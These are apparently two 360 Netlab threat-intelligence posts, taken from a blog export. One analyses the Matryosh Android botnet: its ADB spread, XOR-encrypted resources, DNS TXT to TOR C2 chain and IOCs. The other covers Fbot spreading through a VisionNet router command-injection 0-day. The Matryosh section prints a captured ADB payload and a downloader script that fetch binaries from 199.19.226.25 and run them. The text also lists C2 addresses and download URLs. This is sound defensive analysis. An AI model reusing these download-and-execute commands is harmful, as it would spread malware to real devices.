if addr != 0:
ens_str_addr.append(addr)
# print(hex(addr))
else:
print("Missed arg at {}".format(ea))
for ea in ens_str_addr:
ret = get_string(ea)
descrypt(ret)
</code></pre>
<!--kg-card-end: markdown--> | 版权
版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
背景
2021年1月25日，360网络安全研究院的BotMon系统将一个可疑的ELF文件标注成Mirai，但网络流量却不符合Mirai的特征。这个异常引起了我们的注意，经分析，我们确定这是一个复用了Mirai框架，通过ADB接口传播，针对安卓类设备，主要目的为DDoS攻击的新型僵尸网络。它重新设计了加密算法，通过DNS TXT的方式从远程主机获取TOR C2以及和C2通信所必须的TOR代理。
这个僵尸网络实现的加密算法以及获取C2的过程都是一层层嵌套，像俄罗斯套娃一样，基于这个原因，我们将它命名为Matryosh。
每天都有脚本小子拿着Mirai的源码进行魔改，想着从DDoS黑产赚上一笔。Matryosh会是这样的作品吗？随着分析的深入，更多细节浮出水面，根据C2指令的相似性，我们推测它是当下非常活跃的Moobot团伙的又一个尝试。
Matryosh没有集成扫描，漏洞利用的模块，主要功能为DDoS攻击，支持 tcpraw, icmpecho, udpplain 3种方法，基本流程如下图所示：
传播
目前Matryosh通过adb传播，捕获的payload如下所示，主要功能为从远程主机199.19.226.25下载并执行脚本。
CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.
下载得到的脚本如下所示，主要功能为从远程主机下载执行多个CPU架构的Matryosh样本。
#!/bin/sh
n="i586 mips mipsel armv5l armv7l"
http_server="199.19.226.25"
for a in $n
do
curl http://$http_server/nXejnFjen/$a > asFxgte
chmod 777 asFxgte
./asFxgte android
done
for a in $n
do
rm $a
done
样本分析
Matryosh支持x86，arm，mips等cpu架构，本文选取x86样本为分析对象，样本信息如下：
MD5:c96e333af964649bbc0060f436c64758
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Lib:uclibc
Packer:None
样本功能比较简单，运行后会重命名进程，并输出stdin: pipe failed字串以迷惑用户；随后解密得到远程主机名，用到DNS TXT请求以获取TOR C2以及TOR代理；接着和TOR代理建立连接，最终通过代理和TOR C2进行通信，等待执行C2下发的指令。
解密敏感资源
打开IDA可以看出，Matryosh将敏感的资源信息都加密存储，以防止相关功能被安全研究员一眼定位。
密文为1个header和N个body组成，结构如下所示：
struct header {
u8 msg_len;
u8 key;
u8 body_cnt;
}
struct body {
u8 key;
u8 body_len;
char *body_buf;
}
以密文06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00为例，解密过程如下所示：
header.msglen=0x06 --->有效密文长底为6
header.key=0x29
header.body_cnt=0x2 --->有2个body
body1.key=0xdc
body1.len=0x10 --->body1长度为0x10字节
body1解密
header.key XOR body1.key得到body1的秘钥为0xF5
密文： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
解密后：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00 |tcpraw.%s %d....|
body2.key=0xfb
body2.len=0x6 --->body2长度为0x6字节
body2解密
header.key xor body2.key得到body2的密钥为
密文：D2 11 04 00 00 00
解密后： 00 c3 d6 d2 d2 d2 |.ÃÖÒÒÒ|
有效密文长度为6字节，所以就取body1的前6字节即可，得到明文tcpraw。
通过附录的解密脚本，解密出的资源列表如下，可以看出其中有攻击方法，远程主机等信息。
tcpraw
icmpecho
udpplain
/proc/
/cmdline
stdin: pipe failed
hosts.hiddenservice.xyz
.hiddenservice.xyz
onion.hiddenservice.xyz
进程重命名
重命名成大小写相间的长度为14的进程名以迷惑用户
实际效果如下图所示：
获取TOR代理以及TOR C2
Bot获取代理以及C2的过程可以分成4步。
1.
解密得到远程主机A(hosts.hiddenservice.xyz)，得到其DNS TXT解析结果：
hosts.hiddenservice.xyz. 1751 IN TXT "iekfgakxorbfjcefbiyj"
2.
解密得到远程主机后缀(.hiddenservice.xyz)，然后按下面表格中的组合规则从第一步获取的字串(iekfgakxorbfjcefbiyj)中提取字符，以下表中的第一行(14,9)为例，提取字串中下标为14和9的字符，合并得到一个远程主机前缀er。
Index
Value
14,9
er
19,10
jb
3,4
fg
6,2
kk
8,13
oc
12,18
jy
11,1
fe
7,15
xf
5,17
ai
16,0
bi
最终把上面获取的远程主机的前缀和后缀拼接得到远程主机B列表，如下所示
jb.hiddenservice.xyz
er.hiddenservice.xyz
fg.hiddenservice.xyz
kk.hiddenservice.xyz
oc.hiddenservice.xyz
jy.hiddenservice.xyz
fe.hiddenservice.xyz
xf.hiddenservice.xyz
ai.hiddenservice.xyz
bi.hiddenservice.xyz
下图实际的网络流量，验证了我们的分析。
3.
向第2步得到的远程主机B请求的DNS TXT记录，得到TOR代理的地址，最多10个。
oc.hiddenservice.xyz. 1799 IN TXT "198.245.53.58:9095"
fe.hiddenservice.xyz. 1799 IN TXT "198.27.82.186:9050"
4.
解密得到远程主机C（onion.hiddenservice.xyz），向其请求DNS TXT记录，得到TOR C2地址。
onion.hiddenservice.xyz. 1799 IN TXT "4qhemgahbjg4j6pt.onion"
至此C2通信所需要的基础信息都已获得，Bot开始C2通信。
C2通信
和C2通信，Bot首先通过以下代码片段，随机选择一个TOR代理并建立连接，
随后向TOR代理发送想要建立通信的TOR C2，PORT信息，其中端口为硬编码的31337。
如果TOR代理返回05 00 00 01 00 00 00 00 00 00时，说明C2连接已经成功，可以开始后续通信了。下图实际的网络流量可以很清楚的反映上述过程。
发送完上线包后Bot开始等待C2下发指令。指令包的第一个字节指定了指令的类型。
*
指令码：0x84表示心跳
*
指令码：0x55表示上传Bot的分组信息
*
指令码：非0x55，非0x84，DDoS攻击
和Moobot团伙的关系
Moobot团伙是当前比较活跃黑产团伙，一直在加密算法，网络通信方面进行创新。我们曾在2020年4月27日曝光过该团伙新开发的一个僵尸网络LeetHozer，对比Matryosh，俩者的相似之处体现在以下3方面：
1.
使用TOR C2这种模式
2.
C2端口（31337）&攻击方法名一样
3.
C2指令格式高度相似
基于这些考量，我们推测Matryosh是该团伙的新作品。
结论
Matryosh的加密设计有一定的新意，但依然落入了Mirai单字节XOR的窠臼，这也是它很容易被杀软标记为Mirai的原因；网络通信层面的创新说明了其作者想实现一个从云端下发配置的机制以保护C2，C2配置云端化在一定程度上对抗了静态或简单模拟器的IOC自动化抽取。但将所有远程主机放在同一个SLD下的行为略显可笑，不过不可否认整体的网络设计非常灵活，若搭配上DOH/DOT机制，再将云端主机的角色/内容做合理地分配&加密将会给安全研究人员带来更多的挑战。
IOC
Sample MD5
ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66
SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6
URL
kk.hiddenservice.xyz
er.hiddenservice.xyz
jy.hiddenservice.xyz
fe.hiddenservice.xyz
xf.hiddenservice.xyz
oc.hiddenservice.xyz
jb.hiddenservice.xyz
ai.hiddenservice.xyz
bi.hiddenservice.xyz
fg.hiddenservice.xyz
hosts.hiddenservice.xyz
onion.hiddenservice.xyz
C2
4qhemgahbjg4j6pt.onion：31337
Proxy Ip
46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095
Downloader
i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}
附录（IDA解密脚本）
import idc
import idaapi
import idautils
# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
round = 0
while round < 2:
addr = idc.PrevHead(addr)
if GetMnem(addr) == "mov" and "offset" in GetOpnd(addr, 1):
return GetOperandValue(addr, 1)
if GetMnem(addr) == "push" and "offset" in GetOpnd(addr, 0):
return GetOperandValue(addr, 0)
round += 1
return 0
def get_string(addr):
out = []
while True:
if Byte(addr) != 0:
out.append(Byte(addr))
else:
break
addr += 1
return out
def descrypt(enc_lst):
msg_length = enc_lst[0]
xor_key1 = enc_lst[1]
group = enc_lst[2]
msg_lst = enc_lst[3:]
des_msg = []
for i in range(0, group):
xor_key2 = msg_lst[0]
group_len = msg_lst[1]
key = xor_key1 ^ xor_key2
for j in range(2, group_len + 2):
des_msg.append(chr(msg_lst[j] ^ key))
if len(des_msg) > msg_length:
des_msg = des_msg[0:msg_length]
break
msg_lst = msg_lst[group_len + 2:]
print("".join(des_msg))
descrypt_func_ea = 0x080493E0
refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
refsto_lst.append(ref)
ens_str_addr = []
for ea in refsto_lst:
addr = find_function_arg(ea)
if addr != 0:
ens_str_addr.append(addr)
# print(hex(addr))
else:
print("Missed arg at {}".format(ea))
for ea in ens_str_addr:
ret = get_string(ea)
descrypt(ret)
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n\n## 版权\n版权声明：本文为Netlab原创，依据 [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) 许可证进行授权，转载请附上出处链接及本声明。\n## 背景\n\n2021年1月25日，360网络安全研究院的BotMon系统将一个可疑的ELF文件标注成Mirai，但网络流量却不符合Mirai的特征。这个异常引起了我们的注意，经分析，我们确定这是一个复用了Mirai框架，通过ADB接口传播，针对安卓类设备，主要目的为DDoS攻击的新型僵尸网络。它重新设计了加密算法，通过```DNS TXT```的方式从远程主机获取```TOR C2```以及和C2通信所必须的TOR代理。\n\n \n\n 这个僵尸网络实现的加密算法以及获取C2的过程都是一层层嵌套，像俄罗斯套娃一样，基于这个原因，我们将它命名为```Matryosh```。\n\n每天都有脚本小子拿着Mirai的源码进行魔改，想着从DDoS黑产赚上一笔。Matryosh会是这样的作品吗？随着分析的深入，更多细节浮出水面，根据C2指令的相似性，我们推测它是当下非常活跃的Moobot团伙的又一个尝试。\n\n\nMatryosh没有集成扫描，漏洞利用的模块，主要功能为DDoS攻击，支持``` tcpraw, icmpecho, udpplain``` 3种方法，基本流程如下图所示：\n\n\n \n <img src=\"__GHOST_URL__/content/images/2021/01/taowa_network.png\" width=\"860px\" />\n\n\n## 传播\n\n目前Matryosh通过adb传播，捕获的payload如下所示，主要功能为从远程主机```199.19.226.25```下载并执行脚本。\n\n```\nCNXN............M\n..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.\n```\n\n下载得到的脚本如下所示，主要功能为从远程主机下载执行多个CPU架构的Matryosh样本。\n\n```\n#!/bin/sh\n\nn=\"i586 mips mipsel armv5l armv7l\"\nhttp_server=\"199.19.226.25\"\n\nfor a in $n\ndo\n curl http://$http_server/nXejnFjen/$a > asFxgte\n chmod 777 asFxgte\n ./asFxgte android\ndone\n\nfor a in $n\ndo\n rm $a\ndone\n\n```\n\n## 样本分析\n\nMatryosh支持x86，arm，mips等cpu架构，本文选取x86样本为分析对象，样本信息如下：\n\n> MD5:c96e333af964649bbc0060f436c64758\n>\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n>\n> Lib:uclibc\n>\n> Packer:None\n\n样本功能比较简单，运行后会重命名进程，并输出```stdin: pipe failed```字串以迷惑用户；随后解密得到远程主机名，用到```DNS TXT```请求以获取TOR C2以及TOR代理；接着和TOR代理建立连接，最终通过代理和TOR C2进行通信，等待执行C2下发的指令。\n\n### 解密敏感资源\n\n打开IDA可以看出，Matryosh将敏感的资源信息都加密存储，以防止相关功能被安全研究员一眼定位。\n\n\n\n密文为1个header和N个body组成，结构如下所示：\n\n```\nstruct header {\n \tu8 msg_len;\n \tu8 key;\n \tu8 body_cnt;\n }\n struct body {\n \tu8 key;\n \tu8 body_len;\n \tchar *body_buf;\n }\n```\n\n以密文```06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00```为例，解密过程如下所示：\n\n```\nheader.msglen=0x06\t--->有效密文长底为6\nheader.key=0x29\nheader.body_cnt=0x2\t--->有2个body\n\nbody1.key=0xdc\t\t\nbody1.len=0x10\t\t--->body1长度为0x10字节\n\nbody1解密\nheader.key XOR body1.key得到body1的秘钥为0xF5\n密文： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5\n解密后：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00 |tcpraw.%s %d....|\n\nbody2.key=0xfb\nbody2.len=0x6\t\t--->body2长度为0x6字节\nbody2解密\nheader.key xor body2.key得到body2的密钥为\n密文：D2 11 04 00 00 00\n解密后： 00 c3 d6 d2 d2 d2 |.ÃÖÒÒÒ|\n\n\n有效密文长度为6字节，所以就取body1的前6字节即可，得到明文tcpraw。\n```\n\n\n\n通过[附录](#decrypt_str)的解密脚本，解密出的资源列表如下，可以看出其中有攻击方法，远程主机等信息。\n\n| tcpraw | icmpecho | udpplain |\n| ----------------------- | ------------------ | ----------------------- |\n| /proc/ | /cmdline | stdin: pipe failed |\n| hosts.hiddenservice.xyz | .hiddenservice.xyz | onion.hiddenservice.xyz |\n\n\n\n### 进程重命名\n\n重命名成大小写相间的长度为14的进程名以迷惑用户\n\n \n\n\n\n实际效果如下图所示：\n\n\n\n### 获取TOR代理以及TOR C2\n\nBot获取代理以及C2的过程可以分成4步。\n\n1. 解密得到```远程主机A(hosts.hiddenservice.xyz)```，得到其DNS TXT解析结果：\n\n \n\n ```\n hosts.hiddenservice.xyz. 1751\tIN\tTXT\t\"iekfgakxorbfjcefbiyj\"\n ```\n\n2. 解密得到```远程主机后缀(.hiddenservice.xyz)```，然后按下面表格中的组合规则从第一步获取的字串(```iekfgakxorbfjcefbiyj```)中提取字符，以下表中的第一行(14,9)为例，提取字串中下标为14和9的字符，合并得到一个远程主机前缀```er```。\n\n \n | Index | Value |\n | ----- | ----- |\n | 14,9 | er |\n | 19,10 | jb |\n | 3,4 | fg |\n | 6,2 | kk |\n | 8,13 | oc |\n | 12,18 | jy |\n | 11,1 | fe |\n | 7,15 | xf |\n | 5,17 | ai |\n | 16,0 | bi |\n\n 最终把上面获取的远程主机的前缀和后缀拼接得到远程主机B列表，如下所示\n\n | jb.hiddenservice.xyz | er.hiddenservice.xyz |\n | -------------------- | -------------------- |\n | fg.hiddenservice.xyz | kk.hiddenservice.xyz |\n | oc.hiddenservice.xyz | jy.hiddenservice.xyz |\n | fe.hiddenservice.xyz | xf.hiddenservice.xyz |\n | ai.hiddenservice.xyz | bi.hiddenservice.xyz |\n\n 下图实际的网络流量，验证了我们的分析。\n\n \n\n \n\n3. 向第2步得到的```远程主机B```请求的DNS TXT记录，得到TOR代理的地址，最多10个。\n\n \n\n ```\n oc.hiddenservice.xyz.\t1799\tIN\tTXT\t\"198.245.53.58:9095\"\n fe.hiddenservice.xyz.\t1799\tIN\tTXT\t\"198.27.82.186:9050\"\n ```\n\n \n\n4. 解密得到```远程主机C（onion.hiddenservice.xyz）```，向其请求DNS TXT记录，得到TOR C2地址。\n\n \n\n ```\n onion.hiddenservice.xyz. 1799\tIN\tTXT\t\"4qhemgahbjg4j6pt.onion\"\n ```\n\n至此C2通信所需要的基础信息都已获得，Bot开始C2通信。\n\n### C2通信\n\n和C2通信，Bot首先通过以下代码片段，随机选择一个TOR代理并建立连接，\n\n\n\n随后向TOR代理发送想要建立通信的TOR C2，PORT信息，其中端口为硬编码的31337。\n\n\n\n如果TOR代理返回```05 00 00 01 00 00 00 00 00 00```时，说明C2连接已经成功，可以开始后续通信了。下图实际的网络流量可以很清楚的反映上述过程。\n\n\n\n发送完上线包后Bot开始等待C2下发指令。指令包的第一个字节指定了指令的类型。\n\n- 指令码：```0x84```表示心跳\n\n \n\n- 指令码：```0x55```表示上传Bot的分组信息\n\n \n\n- 指令码：```非0x55```，```非0x84```，DDoS攻击\n\n \n\n## 和Moobot团伙的关系\n\nMoobot团伙是当前比较活跃黑产团伙，一直在加密算法，网络通信方面进行创新。我们曾在2020年4月27日曝光过该团伙新开发的一个僵尸网络[LeetHozer](__GHOST_URL__/the-leethozer-botnet/)，对比Matryosh，俩者的相似之处体现在以下3方面：\n1. 使用TOR C2这种模式\n\n2. C2端口（31337）&攻击方法名一样\n\n3. C2指令格式高度相似\n\n基于这些考量，我们推测Matryosh是该团伙的新作品。\n## 结论\n\nMatryosh的加密设计有一定的新意，但依然落入了Mirai单字节XOR的窠臼，这也是它很容易被杀软标记为Mirai的原因；网络通信层面的创新说明了其作者想实现一个从云端下发配置的机制以保护C2，```C2配置云端化```在一定程度上对抗了静态或简单模拟器的IOC自动化抽取。但将所有远程主机放在同一个SLD下的行为略显可笑，不过不可否认整体的网络设计非常灵活，若搭配上DOH/DOT机制，再将云端主机的角色/内容做合理地分配&加密将会给安全研究人员带来更多的挑战。\n\n## IOC\n\nSample MD5\n\n```\nELF\n6d8a8772360034d811afd74721dbb261\n9e0734f658908139e99273f91871bdf6\nc96e333af964649bbc0060f436c64758\ne763fab020b7ad3e46a7d1d18cb85f66\n\nSCRIPT\n594f40a39e4f8f5324b3e198210ac7db\n1151cd05ee4d8e8c3266b888a9aea0f8\n93530c1b942293c0d5d6936820c6f6df\nb9d166b8e9972204ac0bbffda3f8eec6\n```\n\nURL\n\n```\nkk.hiddenservice.xyz\t\ner.hiddenservice.xyz\t\njy.hiddenservice.xyz\t\nfe.hiddenservice.xyz\t\nxf.hiddenservice.xyz\t\noc.hiddenservice.xyz\t\njb.hiddenservice.xyz\t\nai.hiddenservice.xyz\t\nbi.hiddenservice.xyz\t\nfg.hiddenservice.xyz\n\nhosts.hiddenservice.xyz\t\nonion.hiddenservice.xyz\t\n```\n\nC2\n\n```\n4qhemgahbjg4j6pt.onion：31337\n```\n\nProxy Ip\n\n```\n46.105.34.51:999\n139.99.239.154:9095\n139.99.134.95:9095\n198.27.82.186:9050\n188.165.233.121:9151\n198.245.53.58:9095\n51.83.186.134:9095\n139.99.45.195:9050\n51.195.91.193:9095\n147.135.208.13:9095\n```\n\nDownloader\n```\ni586 mips mipsel armv5l armv7l\nhxxp://199.19.226.25/nXejnFjen/{CPU ARCH}\n\n```\n##<a id=\"decrypt_str\">附录（IDA解密脚本）</a>\n```\nimport idc\nimport idaapi\nimport idautils\n\n\n# c96e333af964649bbc0060f436c64758\ndef find_function_arg(addr):\n round = 0\n while round < 2:\n addr = idc.PrevHead(addr)\n if GetMnem(addr) == \"mov\" and \"offset\" in GetOpnd(addr, 1):\n return GetOperandValue(addr, 1)\n if GetMnem(addr) == \"push\" and \"offset\" in GetOpnd(addr, 0):\n return GetOperandValue(addr, 0)\n round += 1\n\n return 0\n\n\ndef get_string(addr):\n out = []\n while True:\n if Byte(addr) != 0:\n out.append(Byte(addr))\n else:\n break\n addr += 1\n return out\n\n\ndef descrypt(enc_lst):\n msg_length = enc_lst[0]\n xor_key1 = enc_lst[1]\n group = enc_lst[2]\n\n msg_lst = enc_lst[3:]\n des_msg = []\n for i in range(0, group):\n xor_key2 = msg_lst[0]\n group_len = msg_lst[1]\n key = xor_key1 ^ xor_key2\n for j in range(2, group_len + 2):\n des_msg.append(chr(msg_lst[j] ^ key))\n if len(des_msg) > msg_length:\n des_msg = des_msg[0:msg_length]\n break\n msg_lst = msg_lst[group_len + 2:]\n print(\"\".join(des_msg))\n\n\ndescrypt_func_ea = 0x080493E0\n\nrefsto_lst = []\nfor ref in CodeRefsTo(descrypt_func_ea, 1):\n refsto_lst.append(ref)\n\nens_str_addr = []\nfor ea in refsto_lst:\n addr = find_function_arg(ea)\n if addr != 0:\n ens_str_addr.append(addr)\n # print(hex(addr))\n else:\n print(\"Missed arg at {}\".format(ea))\n\nfor ea in ens_str_addr:\n ret = get_string(ea)\n descrypt(ret)\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 60115d82d0d9b7000712aa0d |
post | null | 2021-01-28T03:21:53.000Z | 63873b9a8b1c1e0007f52f9c | f-bo-t | 0 | 2021-02-26T18:03:29.000Z | public | draft | null | null | Fbot僵尸网络正在使用VisionNet路由器0-day漏洞传播 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，靳丹龙，<a href="https://twitter.com/IUnKnow84503351">涂凌鸣</a>，侯留洋</em></p>
<h3 id="">背景介绍</h3>
<p>2021年1月26号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用美国DQ Technology，Inc.公司VisionNet路由器产品的0-day漏洞，传播Fbot僵尸网络样本。</p>
<h3 id="0day">0-day漏洞分析</h3>
<p>漏洞类型：未授权的远程命令执行漏洞<br>
漏洞分析：VisionNet路由器的<code>/bin/httpd</code>程序在处理<code>pingcmd.cmd</code>请求时，将<code>address</code>参数作为<code>ping</code>测试的目的地址。当<code>gethostbyname()</code>函数验证<code>address</code>参数失败时，会拼接<code>ping</code>命令，并由<code>cgiPingCmd_test()</code>间接调用<code>system()</code>函数执行生成ping命令日志。由于上述过程缺少对<code>address</code>字段的特殊字符的过滤以及登陆状态验证，导致未授权的远程命令执行漏洞。<br>
<a href="__GHOST_URL__/content/images/2021/02/pingcmd.png"><img src="__GHOST_URL__/content/images/2021/02/pingcmd.png" class="kg-image"/></a></p>
<h3 id="fbot">Fbot僵尸网络</h3>
<p>Fbot已经是安全社区非常熟悉的老朋友了，它是在Mirai基础上开发的僵尸网络，主要改动体现在2个方面</p>
<ul>
<li>加密算法</li>
<li>上线包，心跳包</li>
</ul>
<p>此次通过0day传播的样本（uzdad.mips），基本信息如下所示:</p>
<blockquote>
<p>MD5:0a721d05492d6151e3abba3704196f42</p>
<p>ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped</p>
<p>Packer:None</p>
</blockquote>
<p>它本身并没有特别之处，主要功能是</p>
<ul>
<li>DDoS攻击</li>
<li>Telnet扫描</li>
</ul>
<p>下文将围绕上述功能做简要分析。</p>
<h3 id="ddos">DDoS攻击</h3>
<p>Fbot通过以下代码片段和硬编码的C2(<code>45.95.169.238:5634</code>)建立连接</p>
<p><a href="__GHOST_URL__/content/images/2021/02/ping_fbot_connect-1.png"><img src="__GHOST_URL__/content/images/2021/02/ping_fbot_connect-1.png" class="kg-image"/></a></p>
<p>随后向C2发送长度为78字节的上线信息<br>
<a href="__GHOST_URL__/content/images/2021/02/ping_fbot_reg.png"><img src="__GHOST_URL__/content/images/2021/02/ping_fbot_reg.png" class="kg-image"/></a></p>
<p>上线包格式解析过程如下所示</p>
<pre><code>Main field parsing，others can be 0
——————————————————————————————————————————
02 --->type，register
00 80 00 5a 00 57 00 c8 00 f0 00 1e --->hardcoded
00 04 --->length of cpu arch string
6d 69 70 73 ---->cpu arch
——————————————————————————————————————————
</code></pre>
<p>发送完上线包后Bot开始等待C2下发指令。指令包的<strong>第一个字节</strong>指定了指令类型。</p>
<h4 id="0x00">0x00，心跳指令码</h4>
<p>以下图心跳为例<br>
<a href="__GHOST_URL__/content/images/2021/02/ping_fbot_beat.png"><img src="__GHOST_URL__/content/images/2021/02/ping_fbot_beat.png" class="kg-image"/></a></p>
<p>心跳包的格式解析如下所示</p>
<pre><code>Main field parsing，others can be 0
——————————————————————————————————————————
00 --->type，heartbeat package
22 ba 15 24 1a 6f 04 d4 1f 9c 0d 06 --->hardcoded
——————————————————————————————————————————
</code></pre>
<h4 id="0x01ddos">0x01，DDoS攻击指令码</h4>
<p>以下图攻击指令为例<br>
<a href="__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png"><img src="__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png" class="kg-image"/></a></p>
<p>攻击包的格式解析如下所示</p>
<pre><code>Main field parsing，others can be 0
——————————————————————————————————————————
01 --->type，attack package
01 --->attack type
00 3c --->time (sec)
01 --->number of target
67 5f dd bc 00 20 --->target/mask,103.95.221.188/32
02 --->number of flag
02 --->flag type, attack package length
00 04 --->flag length
31 34 36 30 --->flag data，1460
01 --->flag type, port
00 02 --->flag length
35 33 --->flag data，53
——————————————————————————————————————————
</code></pre>
<h4 id="telnet">Telnet扫描</h4>
<p>Fbot在传播过程中用到了SYN端口探测的技巧，来提高传播效率。</p>
<p><a href="__GHOST_URL__/content/images/2021/02/ping_fbot_tel-1.png"><img src="__GHOST_URL__/content/images/2021/02/ping_fbot_tel-1.png" class="kg-image"/></a></p>
<p>通过上面的代码片段，可知其扫描流量有2个特征</p>
<ol>
<li>扫描23端口数量约为2323端口的9倍</li>
<li>tcp头中的序列号与ip头中的目标地址相等</li>
</ol>
<p>当端口开放时，通过硬编码的凭证尝试登录，最后将能成功登录的<code>IP，端口，帐号，密码</code>等信息回传给Reporter(<code>45.95.169.238:1337</code>)。</p>
<p><a href="__GHOST_URL__/content/images/2021/02/ping_fbot_report-1.png"><img src="__GHOST_URL__/content/images/2021/02/ping_fbot_report-1.png" class="kg-image"/></a></p>
<h3 id="0day">0-day漏洞影响范围</h3>
<p>360 FirmwareTotal系统通过对VisionNet路由器固件分析和漏洞验证，发现以下VisionNet路由器固件受影响。</p>
<pre><code>M504-R2_R4B027
M505N_R2_DQ-R4B081U
M505N_R3A_4128_S3_00_001
M505N_R3A_4128_S3_00_002
M505N_R3A_4128_S3_00_003
M505N_R3A_4128_S3_00_004
M505N_R3A_4128_S3_00_005
M505N_R3A_4128_S3_00_006
M505N_R3A_4128_S3_00_007
M605N_R1_R4B050
M405_R3_141215
</code></pre>
<p>360 Quake网络空间测绘系统通过对全网资产测绘，发现VisionNet路由器具体分布如下图所示。<br>
<a href="__GHOST_URL__/content/images/2021/01/visionnet.png"><img src="__GHOST_URL__/content/images/2021/01/visionnet.png" class="kg-image"/></a></p>
<h3 id="">处置建议</h3>
<p>我们建议VisionNet路由器用户及时检查并更新固件系统。<br>
我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>45.95.169.238 Netherlands ASN42864 Giganet Internet Szolgaltato Kft
</code></pre>
<p>C2:</p>
<pre><code>45.95.169.238:5634
</code></pre>
<p>URL:</p>
<pre><code>http://45.95.169.238/uzdad.x86
http://45.95.169.238/uzdad.arm6
http://45.95.169.238/uzdad.arm7
http://45.95.169.238/uzdad.mips
http://45.95.169.238/uzdad.arm5
http://45.95.169.238/uzdad.x86_64
http://45.95.169.238/uzdad.mipsel
http://45.95.169.238/uzdad.arm
http://45.95.169.238/armz.sh
http://45.95.169.238/arm6
http://45.95.169.238/arm5
http://45.95.169.238/mipsel
http://45.95.169.238/arm
http://45.95.169.238/arm7
http://45.95.169.238/mips
http://45.95.169.238/powerpc
http://45.95.169.238/x86_64
tftp://45.95.169.238/mipsel
</code></pre>
<p>MD5:</p>
<pre><code>0a721d05492d6151e3abba3704196f42
0ae4ea5b0de5cb78080fdae43bf787d2
0f2c378ad9ba7d90cc070fd701d6d56e
090bddb4987019ded42d02eb10658a42
1bbc53e4592c7d6833f4f625bca6b461
1c61e656dcc7b2f8dc82d6dd6c4a4e33
1ecd8b7680bff9b13cd9a45d9fb9562a
3b1a14f4f47f362295b54e0f61d5b6a6
3d27d6e8207c8617b63be0b394bbe58d
6b64505f2e9dd737c9acd92604a9c27e
6ed24dffd20b675b53245cd1ad402bad
9dea4f073eaf95541a83ec1b7974a15e
14e90c68d479d68aec9d668b8d62ab87
21ad9dcc6fea0d08ef634de48c6224c8
35b73b96eb93d8d8b6cf9707c9573328
54e4425ac7d972134be6d2600f20b537
54eee54c3f51a5ed8fd406eee7b3e03f
73bfb8cbff5770a67a207d3f77fc2015
111fe291c062ec4ff0ef54fa3b43eafe
127aa326d81c6cd48f9afafaa2b3f4df
269db30f85d264ede98add7d5dc2451a
676d4cdad2b9a708c06ae387b7c35001
724f3ae5955f9019c1effaa29e09230c
767d326d2f83fac0bd81fff28d6a2a65
3421b3dd2b27bff7612c5a443847d1a9
4512e96380efdfcab4bcfc7fa500e16a
98298bac7929e71fc51ce869d3229367
294753e87a7e8ca90ac349859229f07b
2738363ae678c4797cc31b74343068fb
461741035bd397af31f7af0da770e1af
a27fa90153552785d6da26f59f675168
a322df1fb0315057c6e8675f04bf25d3
a9130a7ae9088d184433ce77795403d7
a51835cee1296c9d3697df310e382c86
abd129f17fdc4cc2391d7d2f67e44e61
b19b8456950c040fa12efb0299555a2e
bb9c8c178202294e76b2033a29ebdf8e
bea274bb100548ebc7ce6c8862c6049e
c4b4b3f9e7be21a791cc34e7b9178dfd
c29aba6f48c28cf60c79814c8fcbeb94
c330fa7b9e3978a48f1a42e5ca154d3a
ca93c94d2ef78b3cfd7ff89fcb336ced
ce8e80d89350813c70aee089e4f0c39f
d476f6ea60c74d472f8d5d0c49cd27f5
e3a57e08597e9108caad0aa13a2b66f1
e3e81b7be16a42d2ccf96f3a8ea8709f
f0a4b1b07803717461a4fe360f24a088
f0cd95b9442c0fe72f33acbdbb66bdc6
f3469ddce604319779dc1f160931c32d
</code></pre>
